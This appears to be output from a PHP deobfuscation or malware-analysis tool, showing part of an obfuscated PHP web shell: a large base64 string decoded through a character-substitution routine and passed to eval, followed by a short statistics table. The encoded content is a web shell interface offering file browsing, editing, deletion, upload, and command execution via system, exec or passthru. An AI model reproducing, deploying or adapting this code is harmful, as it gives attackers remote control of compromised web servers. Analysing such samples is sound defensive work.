Q0bTUoJGY0bDU1NSkpLic8L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+Jy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJGN3ZC4kc2wxc2guIiRmNGw1NTUiKSksIC1vKS4nPC90ZD48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iYWEiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48MSBocjVmPSI/ZDI9ZDJ3biZ0eXA1PWQ0ciYxZGRyNXNzPScuJGN3ZC4kc2wxc2guJyZkNHJuMW01PScuJGY0bDU1NS4nIj5ETDwvMT48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PDEgaHI1Zj0iP2QyPXI1bjFtNSYxZGRyNXNzPScuJGN3ZC4kc2wxc2guJyZmNGw1bjFtNT0nLiRmNGw1NTUuJyI+UjVuPC8xPjwvdGQ+DQo8dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwxIGhyNWY9Ij9kMj1kNWw1dDUmdHlwNT1kNHImMWRkcjVzcz0nLiRjd2QuJHNsMXNoLicmZjRsNW4xbTU9Jy4kZjRsNTU1LiciPkQ1bDwvMT48L3RkPjwvdHI+PC90MWJsNT4nDQo7fQ0KNWxzNXsNCg0KCQk0ZiAoJGMyNGEgJWEpew0KJGMybDJydD0nIiM1NzVvZDUiJzsNCn01bHM1ew0KJGMybDJydD0nIiM1dTU2ZDUiJzsNCn0NCg0KJGMyNGErKzsNCiRmNGw1PSRmNGw1Lic8dDFibDUgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIiBzdHlsNT0iYjJyZDVyLXN0eWw1OiBkMnR0NWQ7IGIycmQ1ci13NGR0aDogMHB4IiBiMnJkNXJjMmwycj0iI0NEQ0RDRCIgYmdjMmwycj0nLiRjMmwycnQuJyB3NGR0aD0iOWkwIiBoNTRnaHQ9ImEwIiBkNHI9Imx0ciI+DQo8dHIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnJy4kMjIuJ1wnOyI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48NG1nIHNyYz0iZDF0MTo0bTFnNS9wbmc7YjFzNWV1LCcgLiRwNGNmNGw1LiAnIiAvPiAnLjJwNW5mKCRmNGw1NTUpLic8L3NwMW4+PC90ZD4NCjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9IjgwIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+Jy5zNHo1NShmNGw1czR6NSgkZjRsNTU1KSkuJzwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iZWkiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij4nLmQxdDUoInkvbS9kIiwgZjRsNWN0NG01KCRmNGw1NTUpKS4nPC90ZD48dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRjd2QuJHNsMXNoLiIkZjRsNTU1IikpLCAtbykuJzwvdGQ+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0ibzAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48MSBocjVmPSI/ZDI9NWQ0dCYxZGRyNXNzPScuJGN3ZC4kc2wxc2guJyZmNGw1bjFtNT0nLiRmNGw1NTUuJyI+RWQ0dDwvMT48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9ImFvIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PDEgaHI1Zj0iP2QyPWQyd24mdHlwNT1mNGw1JjFkZHI1c3M9Jy4kY3dkLiRzbDFzaC4nJmY0bDVuMW01PScuJGY0bDU1NS4nIj5ETDwvMT48L3RkPjx0ZCB2MWw0Z249InQycCIgaDU0Z2h0PSI2OSIgdzRkdGg9Im8wIj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDlwdCI+PDEgaHI1Zj0iP2QyPXI1bjFtNSYxZGRyNXNzPScuJGN3ZC4kc2wxc2guJyZmNGw1bjFtNT0nLiRmNGw1NTUuJyI+UjVuPC8xPjwvdGQ+DQo8dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJvMCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPjwxIGhyNWY9Ij9kMj1kNWw1dDUmdHlwNT1mNGw1JjFkZHI1c3M9Jy4kY3dkLiRzbDFzaC4nJmY0bDVuMW01PScuJGY0bDU1NS4nIj5ENWw8LzE+PC90ZD48L3RyPjwvdDFibDU+Jw0KO30NCn0NCn0NCjVjaDIgJGg1MWQuJw0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiBlcHQiPjx0MWJsNSBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJiMnJkNXItc3R5bDU6IGQydHQ1ZDsgYjJyZDVyLXc0ZHRoOiA2cHgiIGIycmQ1cmMybDJyPSIjQ0RDRENEIiB3NGR0aD0iOWkwIiBoNTRnaHQ9ImEwIiBkNHI9Imx0ciI+DQo8dHI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48ZjJudCBjMmwycj0jdTE3MWZ1Pk4ydyBENHI1Y3QycnkgOiAnLmc1dGN3ZCgpLiI8YnI+Ii5wcjRudGRyNHY1KCkuJzxicj48MSBocjVmPSI/ZDI9YjFjayYxZGRyNXNzPScuJGIxY2sxZGRyNXNzcy4nIj48ZjJudCBjMmwycj0jMDAwMDAwPkIxY2s8L3NwMW4+PC90ZD4NCjwvdHI+PC90MWJsNT4nLiRmNGwuJGY0bDUuJzwvdDFibDU+DQo8dDFibDUgYjJyZDVyPSIwIiB3NGR0aD0iOWkwIiBzdHlsNT0iYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgNGQ9InQxYmw1dSIgYzVsbHAxZGQ0bmc9ImkiPg0KPHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+PGJyPicuJGYycm1nLidDMm1tMW5kIEV4NWMzdDUgOiA8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTFkZHI1c3MgdjFsMzU9Jy5nNXRjd2QoKS4nPjw0bnAzdCBuMW01PWMybW0xbmQgdjFsMzU9NGQgczR6NT1pMD48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1kMiB2MWwzNT1jbWQgczR6NT1pMD4gPHM1bDVjdCBuMW01PTV4NWNtNXRoMmQ+DQogIDwycHQ0Mm4gdjFsMzU9InN5c3Q1bSI+U3lzdDVtPC8ycHQ0Mm4+ICA8MnB0NDJuIHYxbDM1PSI1eDVjIj5FeDVjPC8ycHQ0Mm4+ICA8MnB0NDJuIHYxbDM1PSJwMXNzdGhyMyI+UDFzc3RocjM8LzJwdDQybj4NCjwvczVsNWN0PiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IkV4NWMzdDUiPjwvZjJybT48L3RkPjwvdHI+DQo8dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj48YnI+Jy4kZjJybWcuJ0NoMW5nNSBENHIgOiA8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCBuMW01PTFkZHI1c3MgdjFsMzU9Jy5nNXRjd2QoKS4kc2wxc2guJyBzNHo1PWkwPg0KPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUNoMW5nNT48L2Yycm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+PGJyPicuJGYycm1nLidDcjUxdDUgRDRyIDogPC9mMm50PjwvdGQ+DQo8dGQgdzRkdGg9IjdpMCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj48NG5wM3QgbjFtNT1jZDRybjFtNSB2MWwzNT0nLmc1dGN3ZCgpLiRzbDFzaC4nIHM0ejU9aTA+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWRkcjVzcyB2MWwzNT0nLmc1dGN3ZCgpLic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgIENyNTF0NSAgIj48L2Yycm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+PGJyPicuJGYycm1nLidDcjUxdDUgRjRsNSA6IDwvZjJudD48L3RkPg0KPHRkIHc0ZHRoPSI3aTAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+PDRucDN0IG4xbTU9Y2Y0bDVuMW01IHYxbDM1PScuZzV0Y3dkKCkuJHNsMXNoLicgczR6NT1pMD4gPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWRkcjVzcyB2MWwzNT0nLmc1dGN3ZCgpLic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgIENyNTF0NSAgIj48L2Yycm0+PC90ZD48L3RyPg0KPHRyPjwvZjJybT4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0OyBmMm50LXc1NGdodDo3MDAiPjxicj4nLiRmMnJtZy4nVXBsMjFkIDogPC9mMm50PjwvdGQ+DQo8dGQgdzRkdGg9IjdpMCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj48ZjJybSAxY3Q0Mm49IicuJG01LiciIG01dGgyZD1wMnN0IDVuY3R5cDU9bTNsdDRwMXJ0L2Yycm0tZDF0MT4nLiRuMncxZGRyNXNzLicNCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+PDRucDN0IHM0ejU9dTAgdHlwNT1mNGw1IG4xbTU9ZjRsNTUgPiA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xZGRyNXNzIHYxbDM1PScuZzV0Y3dkKCkuJz4NCjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1VcGwyMWQgLz48L2Yycm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+PGJyPicuJGYycm1nLidDMnB5IEY0bDUgOiA8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCBzNHo1PWEwIG4xbTU9YzJweW4xbTU+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWRkcjVzcyB2MWwzNT0iJy5nNXRjd2QoKS4nIj4gVDIgPDRucDN0IHM0ejU9dTAgbjFtNT1jcHl0MiB2MWwzNT0iJy5nNXRjd2QoKS4kc2wxc2guJyI+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9QzJweT48L2Yycm0+PC90ZD48L3RyPg0KJy4kNW5kOw0KPz4=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 9859e9c8cdfb5e8a5e229bc6c4def0a6 |
| Eval Count | 1 |
| Decode Time | 2997 ms |